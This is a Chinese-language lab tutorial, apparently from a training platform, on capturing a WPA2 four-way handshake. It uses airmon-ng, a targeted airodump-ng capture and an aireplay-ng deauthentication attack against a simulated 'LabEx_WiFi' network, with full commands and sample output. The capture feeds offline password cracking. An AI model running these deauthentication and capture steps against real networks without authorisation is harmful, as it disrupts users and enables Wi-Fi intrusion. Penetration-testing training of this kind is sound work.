引言
WPA/WPA2 四次握手是现代 Wi-Fi 安全的关键组成部分。它是客户端和接入点 (AP) 在不直接传输预共享密钥(Wi-Fi 密码)的情况下证明它们知道该密钥的过程。捕获此握手是进行暴力破解或字典攻击以恢复 Wi-Fi 密码的第一步。
在本实验中,你将学习如何使用强大的 Aircrack-ng 工具集来执行此捕获。我们将使用 airmon-ng 将你的无线网卡置于监听模式,使用 airodump-ng 扫描并定位特定网络,以及使用 aireplay-ng 强制客户端重新认证,从而生成供我们捕获的握手信息。
本实验模拟了一个真实场景。你将获得一个无线接口 wlan0 和一个目标网络,以便在实验环境中进行练习。
将无线适配器置于监听模式
在此步骤中,我们将准备无线适配器以捕获网络流量。默认情况下,无线适配器以“托管模式”(Managed Mode)运行,这意味着它只关注发送给它的流量。为了捕获空中所有的 Wi-Fi 流量,我们需要将其切换到“监听模式”(Monitor Mode)。我们将使用 airmon-ng 工具来完成此操作。
首先,让我们检查无线接口的名称。打开终端并运行 iwconfig 命令。
iwconfig
你应该会看到列出的接口,通常命名为 wlan0。
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
现在,使用 airmon-ng 在 wlan0 接口上启动监听模式。此命令可能会终止一些可能干扰捕获的网络进程。
sudo airmon-ng start wlan0
输出将确认监听模式已启用。它通常会创建一个新的虚拟接口,通常命名为 wlan0mon,用于监听。
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
你可以通过再次运行 iwconfig 来验证新接口 wlan0mon 是否处于监听模式。
iwconfig wlan0mon
输出应显示 Mode:Monitor。
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
运行 airodump-ng 以查找目标的 BSSID 和频道
在此步骤中,我们将使用 airodump-ng 扫描无线电波并识别我们的目标网络。airodump-ng 是一个强大的工具,用于捕获 802.11 帧并发现附近的接入点和已连接的客户端。
现在我们的接口 wlan0mon 已处于监听模式,我们可以开始扫描。在终端中运行以下命令:
sudo airodump-ng wlan0mon
你的终端将充满 airodump-ng 可以检测到的所有 Wi-Fi 网络列表。显示分为两部分。上半部分列出接入点 (AP),下半部分列出已连接的客户端 (Station)。
让我们分解一下 AP 的关键列:
- BSSID: 接入点的 MAC 地址。这是其唯一的硬件标识符。
- CH: 网络运行的频道。
- ESSID: Wi-Fi 网络的易读名称(例如,“MyHomeWiFi”)。
以下是你可能看到的示例:
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
在本实验中,我们的目标网络是 LabEx_WiFi。从上面的输出中,识别其 BSSID(00:11:22:33:44:55)和 CH(6)。你将在下一步中使用它们。
记下 BSSID 和频道后,在终端中按 Ctrl+C 停止扫描过程。
运行 airodump-ng 针对特定 BSSID 和频道进行捕获
在此步骤中,我们将捕获范围仅限于目标网络。像上一步那样运行通用扫描会导致无线网卡进行“频道跳转”(channel hopping),这意味着我们可能会错过握手发生时的瞬间。为了确保成功捕获,我们将指示 airodump-ng 锁定到目标频道的监听,并且只监听来自其 BSSID 的流量。
我们还将使用 -w 标志将捕获的包写入文件。这个文件将包含握手信息。
使用你在上一步识别出的 BSSID 和频道(00:11:22:33:44:55 和 6)来构建以下命令。我们将输出文件命名为 handshake_capture。
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
运行此命令后,airodump-ng 的显示将发生变化。现在它将只显示 LabEx_WiFi 网络的信息。你还将看到连接到它的任何客户端(STATIONs)的列表。
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15
重要提示: 保持此终端运行。我们需要它继续捕获。对于下一步,你必须打开一个新的终端窗口。你可以通过再次点击环境中应用程序坞(dock)中的终端图标来完成此操作。
使用 aireplay-ng 去认证客户端
在此步骤中,我们将主动促使握手发生。握手仅在客户端连接或重新连接到接入点时发生。如果客户端已连接,我们可以等待其自然断开连接,但这可能需要很长时间。更主动的方法是使用“去认证攻击”(deauthentication attack)强制其断开连接。
我们将使用 aireplay-ng 向客户端发送特制的去认证数据包,使其误以为已被 AP 断开连接。然后,客户端将自动尝试重新连接,从而生成我们的 airodump-ng 进程(在另一个终端中运行)正在等待捕获的 WPA 握手。
查看你的第一个终端窗口(运行目标 airodump-ng 的那个)。在 STATION 列下,你将看到已连接客户端的 MAC 地址。在本实验中,我们将假设客户端的 MAC 地址是 AA:BB:CC:DD:EE:FF。
现在,在你的新终端窗口中,执行以下 aireplay-ng 命令。
--deauth 5: 这将发送 5 个去认证数据包。通常一小批就足够了。-a 00:11:22:33:44:55: 这是我们目标接入点的 BSSID。-c AA:BB:CC:DD:EE:FF: 这是我们正在定位的客户端的 MAC 地址。
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
你将看到 aireplay-ng 的输出,确认它正在发送数据包。
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
现在,让我们检查捕获是否成功。
在 airodump-ng 窗口中确认握手捕获
在最后一步,我们将确认是否已成功捕获 WPA 握手。我们刚才执行的去认证攻击应该已经导致客户端重新连接,并且 airodump-ng 应该已经捕获了由此产生的握手。
将你的注意力切换回你的第一个终端窗口,也就是 airodump-ng 正在运行并定位 LabEx_WiFi 的那个。
查看 airodump-ng 显示的右上角。如果捕获成功,你将看到一条消息,显示 [ WPA handshake: 00:11:22:33:44:55 ]。
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
看到这条消息就是你的确认!你已成功捕获了四次握手。
你现在可以按 Ctrl+C 停止每个终端窗口中的进程。
捕获的数据,包括握手信息,已保存到你当前目录的文件中。你可以使用 ls -l 命令列出它们。
ls -l
你应该会看到几个以 handshake_capture 开头的文件,其中最重要的是 handshake_capture-01.cap。
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...
这个 .cap 文件就是关键。它包含了握手信息,现在可以与 aircrack-ng 或 hashcat 等工具一起用于离线密码破解尝试。
总结
恭喜你完成了本次实验!你已成功执行了 Wi-Fi 入侵测试中的一项基本技术。
在本次实验中,你学会了如何:
- 使用
airmon-ng将无线网卡置于监控模式(monitor mode)。 - 扫描附近的无线网络,使用
airodump-ng识别目标。 - 将
airodump-ng聚焦于特定的 BSSID 和信道,为目标捕获做准备,并将结果保存到文件中。 - 使用
aireplay-ng执行去认证攻击,强制客户端重新连接。 - 在
airodump-ng的输出中确认 WPA 握手的捕获。
你生成的 .cap 文件包含了有价值的握手数据。在实际操作中,下一步合乎逻辑的操作是使用此文件尝试破解 Wi-Fi 密码,这将在另一个实验中进行讲解。你现在已经对捕获此关键数据的手动过程有了扎实的理解。
